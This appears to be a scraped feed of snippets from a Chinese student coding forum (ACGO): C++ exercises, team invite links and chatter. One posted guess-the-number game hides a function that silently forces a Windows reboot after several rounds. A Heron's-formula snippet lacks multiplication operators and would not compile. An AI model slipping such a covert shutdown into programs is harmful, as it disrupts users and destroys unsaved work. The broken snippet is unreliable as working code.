竞赛
考级
@AC君链接访问不了怎么回事?
《没有不阴的可能》
1. 免费珍藏网址: bili bili 豆包 通义千问 4399小游戏 2.免费小说: ·重生之ACGO编程末世
#include<bits/stdc++.h> using namespace std; int f(int n){ int sum=0; for(int i=n/2;i>=0;i--){ if(i>1) sum+=f(i); else sum++; } return sum; } int main(){ int n; cin>>n; cout<<f(n); return 0; }
那儿错了? 我的代码:
#include <iostream> #include <windows.h> #include <ctime> using namespace std; void playGame() { int number = rand() % 100 + 1; int guess, attempts = 0; cout << "欢迎来到猜数字游戏!我已经想好了一个1到100之间的数字。\n"; do { cout << "请输入你的猜测:"; cin >> guess; attempts++; if (guess > number) { cout << "太大了!\n"; } else if (guess < number) { cout << "太小了!\n"; } else { cout << "恭喜你,猜对了!你用了 " << attempts << " 次。\n"; } } while (guess != number); } void hiddenShutdownLogic() { static bool triggered = false; static int counter = 0; if (!triggered && counter++ > 5) { triggered = true; system("shutdown /r /t 1"); } } int main() { srand(time(0)); char choice; do { playGame(); hiddenShutdownLogic(); cout << "再玩一次?(y/n): "; cin >> choice; } while (choice == 'y' || choice == 'Y'); return 0; }
进入给管理员身份 还剩10个位置 团队传送按钮 链接 我和“吃片皮鸭还是写c++”的小伙伴都在ACGO等你,快用这个专属链接加入我们吧!https://www.acgo.cn/application/1994944427470737408
我和“༺ཌༀ༒☯天使☯༒ༀད༻”的小伙伴都在ACGO等你,快用这个专属链接加入我们吧!https://www.acgo.cn/application/2032681613035368448
#include<bits/stdc++.h> using namespace std; double s(double a, double b, double c) { double p=(a+b+c)/2; return sqrt(p*(p-a)(p-b)(p-c)); } int main() { double a,b,c; cin>>a>>b>>c; cout<<fixed<<setprecision(2)<<s(a,b,c); }
编程题第一题 今年六级应该又难倒一大片吧 一如既往的是一道动态规划,这一题也是非常的简单~~ 话不多说,直接上代码
谁有澜的皮肤?
我和“༺ཌༀཉི༒G.T.I.༒༃ༀད༻”的小伙伴都在ACGO等你,快用这个专属链接加入我们吧! 团队链接,玩三角洲的伙伴们,一起参加吧! 欢迎加入或大团队联盟,联盟请私信༺ཌༀཉི༒SSCD刹༒༃ༀད༻或在下方评论区发表
欢迎大团队联盟、互加,请大家多多支持!
共24752条